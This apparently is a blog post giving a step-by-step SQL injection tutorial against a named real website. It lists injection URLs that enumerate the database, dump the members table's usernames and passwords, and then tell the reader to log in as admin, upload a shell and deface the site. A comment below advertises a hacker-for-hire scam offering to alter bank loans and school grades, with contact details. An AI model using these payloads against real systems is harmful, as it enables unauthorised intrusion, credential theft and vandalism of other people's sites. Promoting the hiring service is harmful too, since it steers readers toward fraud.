Saturday

Today I Teach You SQL Injection Without Error of PHP and MySQL.

1. Find Vulnerable target for that use google dork.
Here is link for that :
http://www.hackforums.net/showthread.php?tid=1210804

2. Next I have found one Target :
http://cadaboutdrugs.ie/news.php?id=82

3. Check for vulnerability put (" ' ") after URL.
http://cadaboutdrugs.ie/news.php?id=82'

4.You cant find any Error Message but You notice some contents of site vanished.

5. Now try for ORDER BY syntax.
http://cadaboutdrugs.ie/news.php?id=-82 ORDER BY 1--
http://cadaboutdrugs.ie/news.php?id=-82 ORDER BY 2--
http://cadaboutdrugs.ie/news.php?id=-82 ORDER BY 3--
http://cadaboutdrugs.ie/news.php?id=-82 ORDER BY 4--
I have tried upto 90 but I cant Find any Error.

6. Next step to Apply UNION syntax.
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1--
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,2--
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,2,3--
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,2,3,4--
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,2,3,4,5--
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,2,3,4,5,6--
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,2,3,4,5,6,7--
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,2,3,4,5,6,7,8--

7. Now at UNION SELECT 1,2,3,4,5,6,7,8-- you will see some vulnerable number on screen e.g. 2 3 4

8. Now found Version of MySQL, User, and Database Name.
http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,@@version,user(),database(),5,6,7,8--

9. Now you will see the following output :
5.1.49-log ---> MySQL Version

aboutdr_admin@web8.novara.ie ---> User

aboutdr_Test ---> Database Name

10. Now found All tables name in database
http://www.cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--

11. We got our all table -->[about,carousel,contact,documents,donate,intro,links,members,news,services] in which we got our Important table which stored admin username password is --> "members"

12. Find columns names of "members" table. goto http://home2.paulschou.net/tools/xlate/ website.

13. Copy "members" without quotes into [ TEXT ] field and Press

14. Now We got the value "109 101 109 98 101 114 115" from [ DEC / CHAR ] field.

15. Now our query to find column names of members table will be:
http://www.cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(109,101,109,98,101,114,115)--

16. Now we got all column names from members tables.-->id,username,password

17. Now find username password the query will be:
http://www.cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,GROUP_CONCAT(id,0x3a,username,0x3a,password),3,4,5,6,7,8 FROM members--

18. Here we got id, username and password and "0x3a" stands for --> [:] (colon)

19. Now go to Home page of site Click on Admin Login. Login with username password and Upload your shell feel free to deface or upload any page.

I tried this server for root but Unfortunately its patched server so It cant be rooted.

1 comment:

  1. He is no scam,i tested him and he delivered a good job,he helped me settle bank loans,he also helped my son upgrade his scores at high school final year which made him graduate successfully and he gave my son free scholarship into the college,all i had to do was to settle the bills for the tools on the job,i used $500 to get a job of over $50000 done all thanks to Walt,he saved me from all my troubles,sharing this is how i can show gratitude in return for all he has done for me and my family

    Gmail; Brillianthackers800@gmail.com
    Whatsapp number; +1(224)2140835

    ReplyDelete

Related Posts Plugin for WordPress, Blogger...